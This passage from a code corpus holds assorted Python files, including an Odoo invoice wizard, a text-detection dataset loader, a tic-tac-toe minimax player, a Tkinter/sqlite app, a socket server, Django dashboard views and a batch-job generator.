print(\"turnovers: \"+tov)\n print(\"personal fouls: \"+pf)\n print(\"total points: \"+pts)\n print(\"\\n\")\n\n f.write(year+ \",\" +age+ \",\"+team+\",\"+league+\",\"+position+\",\"+games+\",\"+games_started+\",\"+mp+\",\"+fgm+\",\"+fga+\",\"+fg_percent+\",\"+three_point_made+\",\"+three_point_attempts+\",\"+three_point_percentage+\",\"+two_point_made+\",\"+two_point_attempts+\",\"+\n two_point_percentage+\",\"+efg+\",\"+ft_made+\",\"+ft_attempted+\",\"+ft_percentage+\",\"+o_reb+\",\"+d_reb+\",\"+t_reb+\",\"+assist+\",\"+stl+\",\"+blk+\",\"+tov+\",\"+pf+\",\"+pts+\"\\n\")\nf.close()\n\ntime.sleep(0.1)\n\n","sub_path":"datascraping.py","file_name":"datascraping.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"192238300","text":"from odoo import _, fields, models\n\n\nclass SaleCommissionMakeInvoice(models.TransientModel):\n _name = \"sale.commission.make.invoice\"\n\n def _default_journal_id(self):\n return self.env[\"account.journal\"].search([(\"type\", \"=\", \"purchase\")])[:1]\n\n def _default_settlement_ids(self):\n return self.env.context.get(\"settlement_ids\", [])\n\n def _default_from_settlement(self):\n return bool(self.env.context.get(\"settlement_ids\"))\n\n journal_id = fields.Many2one(\"account.journal\",required=True,domain=\"[('type', '=', 'purchase')]\",default=_default_journal_id)\n company_id = fields.Many2one(\"res.company\", related=\"journal_id.company_id\", readonly=True)\n product_id = fields.Many2one( \"product.product\", string=\"Product for invoicing\", required=True)\n settlement_ids = fields.Many2many(\"sale.commission.settlement\", relation=\"sale_commission_make_invoice_settlement_rel\",\n column1=\"wizard_id\", column2=\"settlement_id\",\n domain=\"[('state', '=', 'settled'),('agent_type', '=', 'agent'),\"\n \"('company_id', '=', company_id)]\",\n default=_default_settlement_ids)\n from_settlement = fields.Boolean(default=_default_from_settlement)\n date = fields.Date(default=fields.Date.context_today)\n\n def button_create(self):\n self.ensure_one()\n if self.settlement_ids:\n settlements = self.settlement_ids\n else:\n settlements = self.env[\"sale.commission.settlement\"].search(\n [\n (\"state\", \"=\", \"settled\"),\n (\"agent_type\", \"=\", \"agent\"),\n (\"company_id\", \"=\", self.journal_id.company_id.id),\n ]\n )\n invoices = settlements.make_invoices(\n self.journal_id, self.product_id, date=self.date\n )\n if len(settlements):\n return {\n \"name\": _(\"Created Invoices\"),\n \"type\": \"ir.actions.act_window\",\n \"views\": [[False, \"list\"], [False, \"form\"]],\n \"res_model\": \"account.move\",\n \"domain\": [[\"id\", \"in\", invoices.ids]],\n }\n","sub_path":"wizard/models/wizard_invoice.py","file_name":"wizard_invoice.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"338962678","text":"import os\nfrom PIL import Image\nimport numpy as np\nimport os.path as osp\nimport scipy.io as io\nimport copy\n\nimport torch\nfrom torch.utils.data import Dataset\nfrom skimage.draw import polygon as drawpoly\nfrom torchtext.utils.misc import find_bottom, find_long_edges, split_edge_seqence, norm2, vector_cos, vector_sin, process_output\nimport cv2\nimport time\n\n\ndef read_image(img_path):\n \"\"\"Keep reading image until succeed.\n This can avoid IOError incurred by heavy IO process.\"\"\"\n got_img = False\n if not osp.exists(img_path):\n raise IOError('{} does not exist'.format(img_path))\n while not got_img:\n try:\n img = Image.open(img_path).convert('RGB')\n got_img = True\n except IOError:\n print('IOError incurred when reading \"{}\". Will redo. Don\\'t worry. Just chill.'.format(\n img_path))\n pass\n return np.array(img)\n\n\nclass TextInstance():\n\n def __init__(self, points, orient, text):\n self.orient = orient\n self.text = text\n\n # remove_points = []\n\n # if len(points) > 4:\n # # remove point if area is almost unchanged after removing it\n # ori_area = cv2.contourArea(points)\n # for p in range(len(points)):\n # # attempt to remove p\n # index = list(range(len(points)))\n # index.remove(p)\n # area = cv2.contourArea(points[index])\n # if np.abs(ori_area - area) / ori_area < 0.017 and len(points) - len(remove_points) > 4:\n # remove_points.append(p)\n # self.points = np.array(\n # [point for i, point in enumerate(points) if i not in remove_points])\n # else:\n self.points = np.array(points)\n\n def __repr__(self):\n return str(self.__dict__)\n\n def __getitem__(self, item):\n return getattr(self, item)\n\n\nclass DetectDataset(Dataset):\n def __init__(self, model, raw_dataset, transform_image=None, **kwargs):\n self.model = model\n self.dataset = raw_dataset\n self.transform_image = transform_image\n def __len__(self):\n return len(self.dataset)\n\n def __getitem__(self, index):\n img_path, annotation_path, parse_annotation = self.dataset[index]\n annotation = parse_annotation(annotation_path)\n polygons = self.parse_annot(annotation)\n image = read_image(img_path)\n return self.get_training_data(image, polygons, img_path)\n\n def parse_annot(self, annotation):\n '''\n annotation type: list contain all text annot in image\n annotation[0] type: list containt one text annot\n annotation[0][0] np.array shape=(k,2) point (x,y) contour\n annotation[0][1] np.str shape=(1,) orientation text (c=curve; h=horizontal; m=multi-oriented; #=dont care)\n annotation[0][2] np.str shape(k,) text content 'ABCD', 'Hello'\n\n return list(TextInstance(points, ori, text))\n '''\n polygons = []\n for annot in annotation:\n polygons.append(TextInstance(annot[0], annot[1], annot[2]))\n return polygons\n\n def cal_vector(self, image, bboxes, hards):\n height, width = image.shape[0:2]\n accumulation = np.zeros((3, height, width), dtype=np.float32)\n for bboxi, points in enumerate(bboxes):\n points = points.astype(np.int32)\n left, top = points.min(axis=0)\n right, bottom = points.max(axis=0)\n if right < 0 or bottom < 0:\n continue\n if left > width-1 or top > height-1:\n continue\n left = max(0, left)\n top = max(0, top)\n right = min(width-1, right)\n bottom = min(height-1, bottom)\n new_points = points - [left,top]+1\n new_height = bottom-top+3\n new_width = right-left+3\n hard = hards[bboxi]\n new_seg = np.zeros((new_height, new_width), dtype=np.uint8)\n cv2.fillPoly(new_seg, [new_points], (1,))\n contours = np.array(\n [[0, 0], [new_seg.shape[1]-1, 0], [new_seg.shape[1]-1, new_seg.shape[0]-1], [0, new_seg.shape[0]-1]])\n cv2.drawContours(new_seg, [contours], -1, (0,), 1)\n new_img = new_seg.astype(np.uint8)\n dst, labels = cv2.distanceTransformWithLabels(\n new_img, cv2.DIST_L2, cv2.DIST_MASK_PRECISE, labelType=cv2.DIST_LABEL_PIXEL)\n index = np.copy(labels)\n index[new_img > 0] = 0\n place = np.argwhere(index > 0)\n nearCord = place[labels-1, :]\n # x height, y width\n x = nearCord[:, :, 0]\n y = nearCord[:, :, 1]\n nearPixel = np.zeros((2, new_height, new_width))\n nearPixel[0, :, :] = x\n nearPixel[1, :, :] = y\n grid = np.indices(new_img.shape)\n grid = grid.astype(np.float32)\n diff = grid - nearPixel\n dist = np.sqrt(np.sum(diff**2, axis=0))\n\n new_direction = np.zeros(\n (3, new_height, new_width), dtype=np.float32)\n new_direction[0, new_img > 0] = np.divide(\n diff[0, new_img > 0], dist[new_img > 0])\n new_direction[1, new_img > 0] = np.divide(\n diff[1, new_img > 0], dist[new_img > 0])\n\n direction = np.zeros(\n (3, height, width), dtype=np.float32)\n direction[:, top:bottom+1, left:right +\n 1] = new_direction[:, 1:new_height-1, 1:new_width-1]\n\n seg = np.zeros(image.shape[0:2], dtype=np.uint8)\n cv2.fillPoly(seg, [points], (1,))\n img = seg.astype(np.uint8)\n if hard == 0:\n direction[2, img > 0] = bboxi+1\n else:\n direction[2, img > 0] = -1\n\n accumulation[0, img > 0] = 0\n accumulation[1, img > 0] = 0\n accumulation[2, img > 0] = 0\n accumulation = accumulation + direction\n vec = np.stack((accumulation[0], accumulation[1]))\n # compute weight\n weight = np.zeros((height, width), dtype=np.float32)\n weight[accumulation[2] < 0] = -1\n posRegion = accumulation[2] > 0\n posCount = np.sum(posRegion)\n if posCount != 0:\n bboxRemain = 0\n for bboxi, polygon in enumerate(bboxes):\n overlap_bboxi = accumulation[2] == (bboxi+1)\n overlapCount_bboxi = np.sum(overlap_bboxi)\n if overlapCount_bboxi == 0:\n continue\n bboxRemain = bboxRemain+1\n bboxAve = float(posCount)/bboxRemain\n for bboxi, polygon in enumerate(bboxes):\n overlap_bboxi = accumulation[2] == (bboxi+1)\n overlapCount_bboxi = np.sum(overlap_bboxi)\n if overlapCount_bboxi == 0:\n continue\n pixAve = bboxAve/overlapCount_bboxi\n weight = weight*(~overlap_bboxi) + pixAve*overlap_bboxi\n return image, vec, weight.astype(np.float32)\n\n def make_word_vector(self, image, polygons, img_path):\n bboxes = []\n hards = []\n self.charBBs = []\n self.s_conf = 1\n for polygon in polygons:\n bboxes.append(polygon.points.astype(np.int32))\n hard = 1 if polygon.orient == '#' else 0\n hards.append(hard)\n\n return self.cal_vector(image, bboxes, hards)\n\n\n def get_training_data(self, image, polygons, image_path):\n # im_name = image_path.split('/')[-1].split('.jpg')[0]\n # cv2.imwrite('./trash/'+im_name+'img.jpg', image)\n if self.transform_image:\n image, polygons = self.transform_image(image, copy.copy(polygons))\n # imagenet_mean = [0.485, 0.456, 0.406]\n # imagenet_std = [0.229, 0.224, 0.225]\n # cv2.imwrite('./trash/'+im_name+'img_tranpose.jpg', (image*imagenet_std+imagenet_mean)*255)\n image, vec, weight = self.make_word_vector(image, polygons, image_path)\n\n # img = np.zeros(image.shape)\n # for i in range(img.shape[0]):\n # for j in range(img.shape[1]):\n # if vec[0][i][j] != 0 or vec[1][i][j] != 0:\n # img[i][j] = 255\n # cv2.imwrite('./trash/'+im_name+'vec_word.jpg', img.astype(np.uint8))\n\n image = image.transpose(2, 0, 1)\n \n return image, vec, weight\n","sub_path":"torchtext/dataset_loader.py","file_name":"dataset_loader.py","file_ext":"py","file_size_in_byte":8426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"61049629","text":"__author__ = 'andreas'\n\nimport sys\nimport os\nimport pefile\n\n#call: genVersion exename outname\nif len(sys.argv) != 3:\n raise Exception(\"usage: genVersion exename outname\")\nexename=sys.argv[1]\noutname=sys.argv[2]\nif not os.path.exists(exename):\n raise Exception(\"exe \"+exename+\" not found\")\npe = pefile.PE(exename)\nFileVersionLS = pe.VS_FIXEDFILEINFO.FileVersionLS\nFileVersionMS = pe.VS_FIXEDFILEINFO.FileVersionMS\nProductVersionLS = pe.VS_FIXEDFILEINFO.ProductVersionLS\nProductVersionMS = pe.VS_FIXEDFILEINFO.ProductVersionMS\n\nFileVersion = (FileVersionMS >> 16, FileVersionMS & 0xFFFF, FileVersionLS >> 16, FileVersionLS & 0xFFFF)\nProductVersion = (ProductVersionMS >> 16, ProductVersionMS & 0xFFFF, ProductVersionLS >> 16, ProductVersionLS & 0xFFFF)\n\nfh=open(outname,\"w\")\nif not fh:\n raise Exception(\"unable to write to \"+outname)\nfh.write(\"avnav_version=\\\"windows-%s-%s-%s-%s\\\";\\n\"%ProductVersion)\nfh.close()\n\n\n\n","sub_path":"windows/installer/genVersion.py","file_name":"genVersion.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"526738178","text":"import math\nimport random\n\nclass Player:\n def __init__(self, letter):\n self.letter = letter\n\n def get_move(self, game):\n pass\n\nclass RandomComputerPlayer(Player):\n def __init__(self, letter):\n super().__init__(letter)\n\n def get_move(self, game):\n square = random.choice(game.available_moves())\n return square\n\nclass HumanPlayer(Player):\n def __init__(self, letter):\n super().__init__(letter)\n\n def get_move(self, game):\n valid_square = False\n value = None \n while not valid_square:\n square = input(self.letter + '\\'s turn. Input move(0-9)')\n try:\n value = int(square)\n if value not in game.available_moves():\n raise ValueError\n valid_square = True \n except ValueError:\n print('Invalid square. Try again!')\n return value\n\nclass AIPlayer(Player):\n def __init__(self, letter):\n super().__init__(letter)\n\n def get_move(self, game):\n if len(game.available_moves()) == 9:\n square = random.choice(game.available_moves())\n else:\n square = self.minimax(game, self.letter)['position']\n value = self.minimax(game, self.letter)['score']\n # print(f' here it happened {value}')\n return square\n \n def minimax(self, state, player):\n max_player = self.letter\n other_player = 'O' if player == 'X' else 'X'\n\n # check if previous move was a winner \n if state.current_winner == other_player:\n return {'position': None, 'score':1*(state.num_empty_squares()+1) if other_player == max_player else -1*(state.num_empty_squares() + 1)}\n elif not state.num_empty_squares(): #no empty squares\n return {'position': None, 'score':0}\n \n if player == max_player:\n best = {'position': None, 'score': -math.inf}\n else:\n best = {'position': None, 'score': math.inf}\n \n for possible_move in state.available_moves():\n # 1. Try move in a spot\n state.make_move(possible_move, player)\n # 2. recursive minimax to simulate after moves \n sim_score = self.minimax(state, other_player)\n # 3. Undo move \n state.board[possible_move] = ' '\n state.current_winner = None \n sim_score['position'] = possible_move\n # 4. update dictionary \n if player == max_player:\n if sim_score['score'] > best['score']:\n best = sim_score \n else:\n if sim_score['score'] < best['score']:\n best = sim_score \n return best","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":2756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"153376227","text":"from django.core import management\nfrom django.core.management.base import BaseCommand\n\nfrom sapl.legacy import migration\n\n\nclass Command(BaseCommand):\n\n help = 'Migração de dados do SAPL 2.5 para o SAPL 3.1'\n\n def add_arguments(self, parser):\n parser.add_argument(\n '-f',\n action='store_true',\n default=False,\n dest='force',\n help='Não interativa: pula confirmação de exclusão dos dados',\n )\n\n def handle(self, *args, **options):\n management.call_command('migrate')\n migration.migrate(interativo=not options['force'])\n","sub_path":"cmj/legacy/management/commands/migracao_25_31.py","file_name":"migracao_25_31.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"312443244","text":"\nimport random\n\nsuits = [\"Hearts\", \"Spades\", \"Clubs\", \"Diamonds\"]\ncards = [\"Ace\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"Jack\", \"Queen\", \"King\"]\n\nsuit_drawn = suits[random.randint(0,3)]\ncard_drawn = cards[random.randint(0,12)]\n\nhand = \"You drew a \" + card_drawn + \" of \" + suit_drawn\n\nprint (hand)\n\n\n\n\n\n# print \"%s of %s \" % (card_drawn, suit_drawn)\n\n# print (card_drawn) + \" of \" + (suit_drawn) # this doesn't work\n# print card_drawn + ' of ' + suit_drawn\n# print 'You drew a %s of %s' % card_drawn, suit_drawn # this didn't work\n# print (suit_drawn) + \" of \" + (card_drawn) # this didn't work\n# print (card_drawn)\n","sub_path":"Games/Cards/pick_a_card.py","file_name":"pick_a_card.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"597490453","text":"from tkinter import *\nfrom tkinter import ttk\nimport sqlite3\n\n\nclass Table(Frame):\n\n def __init__(self, parent):\n Frame.__init__(self, parent)\n self.parent = parent\n self.sw = parent.winfo_screenwidth()\n self.sh = parent.winfo_screenheight()\n self.centerWindow()\n self.initUI()\n self.db = db\n self.view_records()\n\n def initUI(self):\n self.parent.title(\"Table\")\n self.pack(fill=BOTH, expand=1)\n self.x = 0\n self.y = 0\n exit_button = Button(self, text=\"Выйти\", command=self.quit)\n exit_button.place(x=20, y=320)\n start_button = Button(self, text=\"Удалить\", command=self.rem_data) # сommand\n start_button.place(x=200, y=320)\n add_button = Button(self, text=\"Добавить\", command=self.open_dialog)\n add_button.place(x=300, y=320)\n self.tree = ttk.Treeview(self, columns=('subject'), height=13, show='headings')\n self.tree.column('subject', width=150, anchor=CENTER)\n self.tree.heading('subject', text='Предмет')\n self.tree.pack()\n\n\n\n def centerWindow(self):\n w = 400\n h = 350\n x = (self.sw - w) / 2\n y = (self.sh - h) / 2\n self.parent.geometry('%dx%d+%d+%d' % (w, h, x, y))\n\n def records(self, subj):\n self.db.insert_data(subj)\n self.view_records()\n\n def rem_data(self):\n selected_item = self.tree.selection()[0]\n values = self.tree.item(selected_item)['values'][0]\n self.db.del_data(values)\n self.view_records()\n\n def view_records(self):\n self.db.c.execute('''SELECT subject FROM subjects''')\n [self.tree.delete(i) for i in self.tree.get_children()]\n [self.tree.insert('', 'end', values=row) for row in self.db.c.fetchall()]\n\n def open_dialog(self):\n Child()\n\n\nclass Child(Toplevel):\n def __init__(self):\n super().__init__()\n self.init_child()\n self.view = app\n\n def init_child(self):\n self.title('Добавить предмет')\n self.geometry('350x150+400+300')\n self.resizable(False, False)\n self.label_subj = Label(self, text=\"Предмет\")\n self.label_subj.place(x=20, y=40)\n self.entry_subj = Entry(self)\n self.entry_subj.place(x=100, y=40)\n self.btn_cencer = Button(self, text=\"Закрыть\", command=self.destroy)\n self.btn_cencer.place(x=210, y=100)\n self.btn_add = Button(self, text=\"Добавить\")\n self.btn_add.place(x=100, y=100)\n self.btn_add.bind(\"\",\n lambda event: self.view.records(self.entry_subj.get()))\n self.grab_set()\n self.focus_set()\n\n\nclass DB:\n def __init__(self):\n self.conn = sqlite3.connect('table.db')\n self.c = self.conn.cursor()\n self.c.execute('''CREATE TABLE IF NOT EXISTS subjects (id int AUTO_INCREMENT primary key,subject text)''')\n self.conn.commit()\n\n def insert_data(self, sub):\n self.c.execute('''INSERT INTO subjects(subject) VALUES (?)''',\n (sub,))\n self.conn.commit()\n\n def del_data(self, sub):\n self.c.execute(''' delete from subjects where subject = ?''',\n (sub,))\n self.conn.commit()\n\n\nif __name__ == '__main__':\n root = Tk()\n db = DB()\n app = Table(root)\n root.resizable(False, False)\n root.mainloop()\n","sub_path":"list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":3450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"601993233","text":"#!/usr/bin/env python\n\nimport email\nimport email.generator\nimport io\nimport sys\n\nraw_message = sys.stdin.read()\nmessage = email.message_from_string(raw_message)\ndate = message['Date']\n\nif date:\n date = email.utils.parsedate_to_datetime(date)\n local_date = date.astimezone()\n message.add_header('X-Local-Date', email.utils.format_datetime(local_date))\n stream = io.StringIO()\n generator = email.generator.Generator(stream, mangle_from_=False)\n generator.flatten(message)\n raw_message = stream.getvalue()\n\nprint(raw_message, end='', flush=True)\n","sub_path":"mutt/.config/mutt/local_time.py","file_name":"local_time.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"524887194","text":"import json\nfrom django.views.generic.base import TemplateView\nfrom django.http import JsonResponse\nfrom django.conf import settings\nfrom django.utils import translation\nfrom django.shortcuts import (\n redirect,\n)\nfrom functools import wraps\nfrom .utils import (\n jarvismenu_extra_context,\n chart_tab_extra_context,\n chart_contents_extra_context,\n integration_extra_context,\n)\nfrom apps.watchlists.models import Watchlist\nfrom apps.configs.models import (\n Chart,\n)\nfrom apps.dailytrans.utils import (\n to_date,\n)\n\n\ndef login_required(view):\n \"\"\"\n Custom login_required to handle ajax request\n Check user is login and is_active\n \"\"\"\n @wraps(view)\n def inner(request, *args, **kwargs):\n if not request.user.is_authenticated() or not request.user.is_active:\n if request.is_ajax():\n # if is ajax return 403\n return JsonResponse({'login_url': settings.LOGIN_URL}, status=403)\n else:\n # if not ajax redirect login page\n return redirect(settings.LOGIN_URL)\n return view(request, *args, **kwargs)\n return inner\n\n\nclass LoginRequiredMixin(object):\n @classmethod\n def as_view(cls, **kwds):\n return login_required(super().as_view(**kwds))\n\n\nclass BrowserNotSupport(TemplateView):\n redirect_field_name = 'redirect_to'\n template_name = 'browser-not-support.html'\n\n\nclass Index(LoginRequiredMixin, TemplateView):\n redirect_field_name = 'redirect_to'\n template_name = 'index.html'\n\n def get(self, request, *args, **kwargs):\n user_language = kwargs.get('lang')\n translation.activate(user_language)\n request.session[translation.LANGUAGE_SESSION_KEY] = user_language\n return super(Index, self).get(request, *args, **kwargs)\n\n def get_context_data(self, **kwargs):\n context = super(Index, self).get_context_data(**kwargs)\n\n # watchlist options use for watchlist shortcut render\n watchlists = Watchlist.objects.order_by('id').all()\n\n if not self.request.user.info.watchlist_viewer:\n watchlists = watchlists.exclude(watch_all=True)\n\n context['watchlists'] = watchlists\n\n # filter watchlist item or use default\n # watchlist_id = kwargs.get('wi') or self.request.COOKIES.get('aprp_userwatchlistid')\n watchlist_id = kwargs.get('wi')\n watchlist = Watchlist.objects.filter(id=watchlist_id).first()\n if not watchlist:\n watchlist = Watchlist.objects.get(is_default=True)\n context['user_watchlist'] = watchlist\n\n # classify config into different folder manually\n configs = watchlist.related_configs()\n context['totals'] = configs.filter(id__in=[2, 3, 4]) # render configs\n context['agricultures'] = configs.filter(id__in=[1, 5, 6, 7]) # render configs\n context['livestocks'] = configs.filter(id__in=[8, 9, 10, 11, 12, 14]) # render configs\n if configs.filter(id=13).first(): # render products, config as folder\n context['fisheries'] = configs.get(id=13).first_level_products(watchlist=watchlist)\n\n return context\n\n def render_to_response(self, context, **response_kwargs):\n response = super(Index, self).render_to_response(context, **response_kwargs)\n # set cookie\n # watchlist = context['user_watchlist']\n # response.set_cookie('aprp_userwatchlistid', watchlist.id)\n return response\n\n\nclass About(LoginRequiredMixin, TemplateView):\n redirect_field_name = 'redirect_to'\n template_name = 'ajax/about.html'\n\n\nclass JarvisMenu(LoginRequiredMixin, TemplateView):\n redirect_field_name = 'redirect_to'\n template_name = 'ajax/jarvismenu.html'\n\n def get_context_data(self, **kwargs):\n context = super(JarvisMenu, self).get_context_data(**kwargs)\n extra_context = jarvismenu_extra_context(self)\n context.update(extra_context)\n return context\n\n\nclass ChartTabs(LoginRequiredMixin, TemplateView):\n redirect_field_name = 'redirect_to'\n template_name = 'ajax/chart-tab.html'\n\n def get_context_data(self, **kwargs):\n context = super(ChartTabs, self).get_context_data(**kwargs)\n extra_context = chart_tab_extra_context(self)\n context.update(extra_context)\n return context\n\n\nclass ChartContents(LoginRequiredMixin, TemplateView):\n redirect_field_name = 'redirect_to'\n no_data = False # custom\n\n def get_template_names(self):\n if self.no_data:\n return 'ajax/no-data.html'\n else:\n chart_id = self.kwargs.get('ci')\n chart = Chart.objects.get(id=chart_id)\n return chart.template_name\n\n def post(self, request, **kwargs):\n self.kwargs['selected_years'] = request.POST.getlist('average_years[]')\n return self.render_to_response(self.get_context_data())\n\n def get_context_data(self, **kwargs):\n context = super(ChartContents, self).get_context_data(**kwargs)\n extra_context = chart_contents_extra_context(self)\n context.update(extra_context)\n\n # no data checking, if series_options is empty, render no-data template\n if not context['series_options']:\n self.no_data = True\n\n return context\n\n\nclass IntegrationTable(LoginRequiredMixin, TemplateView):\n redirect_field_name = 'redirect_to'\n no_data = False # custom\n to_init = True # custom # default is True\n\n def get_template_names(self):\n # set template_name if no assign yet\n\n if self.no_data:\n return 'ajax/no-data.html'\n\n if self.to_init:\n return 'ajax/integration-panel.html'\n else:\n return 'ajax/integration-row.html'\n\n def post(self, request, **kwargs):\n self.kwargs['start_date'] = to_date(request.POST.get('start_date'))\n self.kwargs['end_date'] = to_date(request.POST.get('end_date'))\n self.kwargs['type_id'] = request.POST.get('type_id') # required if to_init is True\n self.to_init = json.loads(request.POST.get('to_init', 'false'))\n\n return self.render_to_response(self.get_context_data())\n\n def get_context_data(self, **kwargs):\n context = super(IntegrationTable, self).get_context_data(**kwargs)\n extra_context = integration_extra_context(self)\n context.update(extra_context)\n\n # no data checking, if series_options or option is empty, render no-data template\n if self.to_init:\n if not context['series_options']:\n self.no_data = True\n else:\n if not context['option']:\n self.no_data = True\n\n return context\n","sub_path":"src/dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"593905414","text":"#! /usr/bin/env python3\n\nimport sys\nimport socket\n\nimport ClientThread\n\n\nclass ThreadedServer:\n\n # Define some understandable constants\n IP = socket.AF_INET\n IP6 = socket.AF_INET6\n TCP = socket.SOCK_STREAM\n UDP = socket.SOCK_DGRAM\n\n def __init__(self, host, port):\n\n # Please define the listening address and port on initialisation.\n self.host = host\n self.port = port\n self.threads = []\n\n def run(self):\n\n try:\n # Create the socket and bind it to the address and port.\n my_sock = socket.socket(self.IP, self.TCP)\n my_sock.bind((self.host, self.port))\n except socket.error as e:\n print(e)\n sys.exit()\n\n try:\n while True:\n my_sock.listen(5)\n # Enter waiting and accept incoming connection.\n conn, address = my_sock.accept()\n\n newthread = ClientThread.ClientThread(conn, address)\n newthread.start()\n\n self.threads.append(newthread)\n except KeyboardInterrupt:\n # Ctrl+C to exit program.\n print(\"\\nKeyboardInterrupt received. Closing...\")\n if self.threads:\n for thread in self.threads:\n thread.conn.shutdown(socket.SHUT_RDWR)\n thread.conn.close()\n sys.exit()\n except Exception:\n raise\n\n\nif __name__ == \"__main__\":\n\n server = ThreadedServer(\"127.0.0.1\", 5001)\n\n server.run()\n","sub_path":"ThreadedServer.py","file_name":"ThreadedServer.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"627969758","text":"import random\nimport string\n\nfrom model.contact import Contact\nfrom model.group import Group\n\ndef random_string(prefix, maxlen):\n symbols = string.ascii_letters + string.digits + \" \"*10\n return prefix + \"\".join(random.choice(symbols)for i in range(random.randrange(maxlen)))\n\n\ndef test_add_contact_in_group(app, db):\n contact_name = Contact(firstname=random_string(\"first\", 5), lastname=\"test\", company=\"abc\")\n group_name = app.contact.create_new_with_add_to_group(contact_name)\n contact_id = app.contact.get_contact_id_by_name(firstname=contact_name.firstname)\n group_id = app.group.find_group_by_name(group_name)\n item = db.verify_address_in_group_list(group_id)\n print (type(contact_id))\n for i in item:\n assert contact_id in i\n\n","sub_path":"test/test_contact_add_in_group.py","file_name":"test_contact_add_in_group.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"40881378","text":"# coding: utf-8\n\nimport django\ndjango.setup()\n\nimport csv\n\nfrom find_pp2m.models import City, Department\n\nwith open('eucircos_regions_departements_circonscriptions_communes_gps_addon.csv', encoding=\"utf8\") as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=';')\n line_count = 0\n for row in csv_reader:\n # Get data from city\n print(row)\n city_dept_num = row[4]\n city_name = row[8]\n if City.objects.filter(name=city_name, num_department=city_dept_num).exists():\n city = City.objects.get(name=city_name, num_department=city_dept_num)\n cp = row[9]\n lat = row[11]\n long = row[12]\n\n city.postal_code = cp[:5]\n try:\n city.latitude = float(lat)\n city.longitude = float(long)\n city.save()\n except ValueError:\n print('Problème avec {}'.format(city_name))\n\n\n\n","sub_path":"tools/import_geolocations_arrondissements.py","file_name":"import_geolocations_arrondissements.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"52421111","text":"import copy\nimport os\nimport subprocess\nimport sys\n\nrunhuh = (\"--run\" in sys.argv)\n\nreplace = \"main\"\ntemplate = replace + \".sh\"\n\nprocesses = [\"single_node_flip_tempered\", \"district_to_district\", \n \"center_of_mass\", \"single_node_flip\"]\nsteps = 10000000\nrunsPerProcess = 3\n\n# processes = [\"single_node_flip_tempered\", \"district_to_district\", \n# \"center_of_mass\", \"single_node_flip\"]\n# steps = 1000\n# runsPerProcess = 1\n\nreplace = \"jobname\"\ntemplateLines = open(template).readlines()\nif '--mecklenburg' in sys.argv:\n runsPerProcess = 10\n district_list = [5]\n n_list = [0]\n folder = \"--folder data/Mecklenburg/\"\n process_name = \"mecklenburg\"\n scoring = \"--score_func compactness population_balance --score_weights 0.5 0.00000001\"\n apd = 1.0\n\nelse:\n district_list = [3,4]\n runsPerProcess = 3\n n_list = [10, 20, 40]\n folder = \"\"\n process_name = \"lattice\"\n scoring = \"--score_func cut_length --score_weights 1.0\"\n apd = 0.1\n\n\nfor process in processes:\n for num_districts in district_list:\n for n in n_list:\n for runInd in range(runsPerProcess):\n jobname = process + \"_runIndex_\" + str(runInd) + \"_steps_\" + str(steps) + \"_num_districts_{}_n_{}_{}\".format(num_districts,n, process_name)\n foutStr = \".\" + jobname + \".sh\"\n fout = open(foutStr, \"w\")\n for ii in range(len(templateLines)):\n line = templateLines[ii]\n outPath = os.path.join(os.sep, \"gtmp\", \"etw16\", \"runs\", process_name, process,\n \"num_districts={}n={}\".format(num_districts,n), \"runInd_\" + str(runInd))\n # outPath = os.path.join(\".\", \"runs\", process,\n # \"runInd_\" + str(runInd))\n if not os.path.exists(outPath):\n os.makedirs(outPath)\n\n output_path = os.path.join('output/batchJobOutputs', jobname)\n if not os.path.exists(output_path):\n os.makedirs(output_path)\n\n if \"python src/scripts/run.py\" in line:\n line = line.rstrip()\n line += ' ' + ' '.join([\"--steps\", str(steps)]) + ' '\n line += ' ' + ' '.join([\"--process\", process]) + ' '\n line += ' ' + \"--output_path \" + outPath + \" \" +\\\n \"--num_districts {nd} {scoring} --apd {apd} --n {n} {folder}\\n\".format(nd=num_districts, n=n, folder=folder, scoring=scoring, apd=apd)\n\n line = line.replace(\"jobname\", jobname)\n fout.write(line)\n fout.close()\n if runhuh:\n print(\"running\", jobname)\n subprocess.Popen(['qsub', foutStr])\n\n","sub_path":"generateBatchScripts.py","file_name":"generateBatchScripts.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"300664037","text":"from __future__ import (absolute_import, division, print_function,\n with_statement)\n\nimport re\nimport sys\nimport json\n\nimport numpy as np\nfrom sklearn.linear_model import Perceptron\n\nfrom sklearn.feature_extraction.text import HashingVectorizer\n\nfrom bbhack.base import BaseListener\n\n\ndef print_tick():\n 